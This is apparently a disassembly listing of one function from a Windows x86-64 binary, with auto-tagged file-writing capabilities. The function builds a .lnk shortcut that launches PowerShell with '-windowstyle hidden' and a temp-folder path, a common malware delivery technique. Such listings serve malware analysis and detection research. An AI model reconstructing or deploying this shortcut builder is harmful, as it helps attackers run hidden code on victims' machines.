Function at 0x1400111cc
Capabilities:
Get file size
Write file on windows

Disassembly:
jmp 0x140014780
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x5878
call fcn.1400110e6
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x148e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x5898]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x5828], rax
lea rcx, [0x14002b0f2]
call fcn.140011474
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x3f4], 0
xor eax, eax
mov word [rbp + 0x414], ax
xor eax, eax
mov word [rbp + 0x854], ax
xor eax, eax
mov word [rbp + 0x4894], ax
mov dword [rbp + 0x50f4], 0
mov dword [rbp + 0x5114], 0
mov dword [rbp + 0x5134], 0
mov qword [rbp + 0x5158], 0
mov byte [rbp + 0x51f4], 0
mov dword [rbp + 0x5214], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 0x5850]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x14001489a
lea rcx, str.Failed_to_create_output_file_n
call fcn.140011221
mov eax, 1
jmp 0x140014ce3
mov r8d, 0x4c
xor edx, edx
lea rcx, [rbp + 0x50]
call fcn.14001138e
mov dword [rbp + 0x50], 0x4c
mov edx, dword [rbp + 0x50]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x54]
lea rcx, str.00021401_0000_0000_C000_000000000046
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [rbp + 0x64], 0x20002e4
mov dword [rbp + 0x68], 0
mov dword [rbp + 0x70], 0
mov dword [rbp + 0x6c], 0
mov dword [rbp + 0x78], 0
mov dword [rbp + 0x74], 0
mov dword [rbp + 0x80], 0
mov dword [rbp + 0x7c], 0
mov dword [rbp + 0x84], 0
mov dword [rbp + 0x88], 0
mov dword [rbp + 0x8c], 7
xor eax, eax
mov word [rbp + 0x90], ax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, 0x4c
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140014981
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014ce3
mov r8d, 0x400
xor edx, edx
lea rcx, [rbp + 0x440]
call fcn.14001138e
mov r8d, 0x1ff
mov rdx, qword [rbp + 0x5860]
lea rcx, [rbp + 0x440]
call qword [sym.imp.ucrtbased.dll_mbstowcs]
lea rcx, [rbp + 0x440]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov word [rbp + 0x414], ax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, 2
lea rdx, [rbp + 0x414]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140014a02
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014ce3
movzx eax, word [rbp + 0x414]
shl rax, 1
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, eax
lea rdx, [rbp + 0x440]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140014a48
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014ce3
mov r8d, 0x4000
xor edx, edx
lea rcx, [rbp + 0x880]
call fcn.14001138e
lea r9, [0x140020383]
lea r8, str._512S___windowstyle_hidden__path____temp___
mov edx, 0x1fff
lea rcx, [rbp + 0x880]
call fcn.14001144c
lea rcx, [rbp + 0x880]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov word [rbp + 0x854], ax
lea rdx, [rbp + 0x880]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, 2
lea rdx, [rbp + 0x854]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140014af2
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014ce3
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x5134], eax
movzx eax, word [rbp + 0x854]
shl rax, 1
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, eax
lea rdx, [rbp + 0x880]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140014b4a
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014ce3
mov r8d, 0x400
xor edx, edx
lea rcx, [rbp + 0x48c0]
call fcn.14001138e
mov r8d, 0x1ff
mov rdx, qword [rbp + 0x5858]
lea rcx, [rbp + 0x48c0]
call qword [sym.imp.ucrtbased.dll_mbstowcs]
lea rcx, [rbp + 0x48c0]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov word [rbp + 0x4894], ax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, 2
lea rdx, [rbp + 0x4894]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140014bcb
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014ce3
movzx eax, word [rbp + 0x4894]
shl rax, 1
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, eax
lea rdx, [rbp + 0x48c0]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140014c11
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014ce3
mov r8d, 0x314
xor edx, edx
lea rcx, [rbp + 0xc0]
call fcn.14001138e
mov dword [rbp + 0xc0], 0x314
mov dword [rbp + 0xc4], 0xa0000001
mov r8d, 0x103
lea rdx, str._windir__system32WindowsPowerShell_v1.0powershell.exe
lea rcx, [rbp + 0xc8]
call qword [sym.imp.ucrtbased.dll_strncpy]
mov r8d, 0x103
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x1cc]
call qword [sym.imp.ucrtbased.dll_mbstowcs]
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3f4]
mov r8d, 0x314
lea rdx, [rbp + 0xc0]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140014ca9
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140014ce3
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x5114], eax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x5214], eax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001f660]
call fcn.1400113f2
mov rax, rdi
mov rcx, qword [rbp + 0x5828]
xor rcx, rbp
call fcn.14001123f
lea rsp, [rbp + 0x5838]
pop rdi
pop rbp
ret